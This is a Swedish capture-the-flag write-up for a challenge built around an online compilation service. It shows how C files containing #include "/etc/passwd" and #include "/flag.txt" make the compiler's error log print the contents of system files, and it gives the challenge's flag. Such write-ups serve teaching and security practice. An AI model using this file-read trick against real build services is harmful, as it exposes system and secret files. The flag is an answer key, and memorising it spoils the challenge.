Kategori
Övriga
Beskrivning
Har du ofta problemet att din processorkraft är för svag? Och att program du kompilerar tar för lång tid att kompilera? Testa då vår alldeles egna kompileringstjänst! Flaggan återfinnes i /flag.txt.
Lösning
Går man in på utmaningssidan så får vi ett gränssnitt där vi kan ladda upp en fil som ska kompileras.

Vi kan testa att ladda upp en textfil och se vad som händer.
make: Nothing to be done for 'test'.
Här kan vi se att make körs på filen som vi laddade upp. Vi kan testa att ladda upp en C-fil och se vad som händer.
#include<stdio.h>
int main(void) {
printf("Hello World\n");
return 0;
}
I loggen kan vi nu se att koden har kompilerats utan problem.
cc hello.c -o hello
Provar vi att inkludera /etc/passwd i vår C-fil så kan vi se att den inkluderas men ger fel i kompileringen.
#include<stdio.h>
#include "/etc/passwd"
int main(void) {
printf("Hello World\n");
return 0;
}
cc hello.c -o hello
hello.c:1:10: error: #include expects "FILENAME" or <FILENAME>
1 | #include /etc/passwd
| ^
make: *** [<builtin>: hello] Error 1
cc hello.c -o hello
In file included from hello.c:1:
/etc/passwd:1:5: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘:’ token
1 | root:x:0:0:root:/root:/bin/bash
| ^
<SNIP>
Eftersom innehållet i filen skrivs ut i loggen så kan vi inkludera /flag.txt i vår C-fil för att få ut flaggan.
#include<stdio.h>
#include "/flag.txt"
int main(void) {
printf("Hello World\n");
return 0;
}
cc hello.c -o hello
In file included from hello.c:1:
/flag.txt:1:9: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘{’ token
1 | cratectf{HenMakesEggEggMakesHenHenMakesEgg}
| ^
make: *** [<builtin>: hello] Error 1
Flaggan är cratectf{HenMakesEggEggMakesHenHenMakesEgg}.